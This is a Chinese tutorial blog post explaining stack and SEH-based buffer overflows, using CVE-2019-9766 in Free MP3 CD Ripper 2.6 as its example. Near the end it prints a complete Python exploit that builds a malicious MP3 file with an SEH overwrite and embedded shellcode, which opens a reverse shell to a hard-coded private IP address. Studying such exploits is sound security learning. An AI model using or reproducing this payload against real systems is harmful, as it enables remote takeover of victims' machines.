由cve-2019-9766引出的缓冲区漏洞学习

通过工程实践引出的缓冲区溢出

缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。

1、栈的结构

1、先进后出。

2、在内存中表现为从高地址往低地址增长。

3、栈顶:栈的最上方(低地址区)。

4、栈低:栈的最下方(高地址区)。

基本的进程地址空间分布:

在这里插入图片描述

2、基本栈溢出:

缓冲区溢出示意图:
在这里插入图片描述

如果在数据段(右边的data)就保存了一系列的指令的二进制代码,一旦栈溢出修改了函数的返回地址,并将该地址指向这段二进制代码的其实位置,那么就完成了基本的溢出攻击行为。

通过计算返回地址内存区域相对于buffer的偏移,并在对应位置构造新的地址指向buffer内部二进制代码的其实位置,便能执行用户的自定义代码!这段既是代码又是数据的二进制数据被称为shellcode,因为攻击者希望通过这段代码打开系统的shell,以执行任意的操作系统命令——比如下载病毒,安装木马,开放端口,格式化磁盘等恶意操作。

在这里插入图片描述

3、借助跳板的栈溢出方式。

上述过程虽然理论上能完成栈溢出攻击行为,但是实际上很难实现。操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。

根据前边所述,函数执行后,栈指针esp会恢复到压入参数时的状态,在上图中即data参数的地址。如果我们在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置——即data的位置。我们可以将缓冲区再多溢出一部分,淹没data这样的函数参数,并在这里放上我们想要执行的代码!这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。

在这里插入图片描述

具体操作见博客:https://blog.csdn.net/beyond_2016/article/details/81316801

注释:

1、EIP、EBP、ESP的作用

EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。

EBP存储着当前函数栈底的地址,栈低通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

2、seh和nseh

SEH是window操作系统默认的异常处理机制,逆向分析中,SEH除了基本的异常处理功能外,还大量用于反调试程序(这里SEH时保存在栈中的,漏洞利用的时候会用到) https://bbs.pediy.com/thread-249592.htm

Pointer to next SEH record(简称nseh),指示下一个seh结构的位置

3、pop pop ret

POP/POP/RET是创建SEH漏洞必需的指令序列。

https://blog.csdn.net/youb11/article/details/45113011

4、shellcode构造

shellcode实质是指溢出后执行的能开启系统shell的代码。但是在缓冲区溢出攻击时,也可以将整个触发缓冲区溢出攻击过程的代码统称为shellcode,按照这种定义可以把shellcode分为四部分:

1、核心shellcode代码,包含了攻击者要执行的所有代码。

2、溢出地址,是触发shellcode的关键所在。

3、填充物,填充未使用的缓冲区,用于控制溢出地址的位置,一般使用nop指令填充——0x90表示。

4、结束符号0,对于符号串shellcode需要用0结尾,避免溢出时字符串异常。

4、对cve-2019-9766的漏洞利用原理阐述:

在这里插入图片描述

首先经过调试,确定使用4116个字符能覆盖到seh(即到产生异常的地址),此时堆栈指针EIP指向了seh,然后EIP里的内容为pop pop ret指令的地址,执行pop pop后ESP(栈顶指针)指向了nseh(发生异常后ESP指向了nseh的上方两个高地址后的地址,两次pop后执行力nseh),执行ret后EIP指向了ESP的位置,即nesh,这里的nseh的内容为‘\xeb\x06\x90\x90 ’ 即反汇编过后为jmp 6、nop、nop三条指令,jmp 6表示跳过6个字节,刚好跳过两个nop指令和一个4字节的seh处理程序地址,然后落入nop指令区,滑行进入shellcode。

脚本里的seh被赋值为“\x84\x20\xe4\x66″。是经过调试找到的pop pop ret指令所在的地址,nops赋值为5,没有影响(因为此指令不执行操作)

# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5

buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
buf += "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x83\x81\x68\x02"
buf += "\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
buf += "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
buf += "\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
buf += "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
buf += "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

pad = "B" * (316 - len(nops) - len(buf) )  
payload = buffer + NSEH + SEH + nops + buf +pad

try:
    f=open("TestFMCR.mp3","w")
    print "[+] Creating %s bytes mp3 File..." %len(payload)
    f.write(payload)
    f.close()
    print "[+] mp3 File created successfully!"
except:
    print "File cannot be created!"

payload = buffer + NSEH + SEH + nops + buf +pad

为生成的利用文件,这里的nops+buf+pad为缓冲区,缓冲区大小是经过调试,从触发异常后的nseh到最后面的00000的地址的长度

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值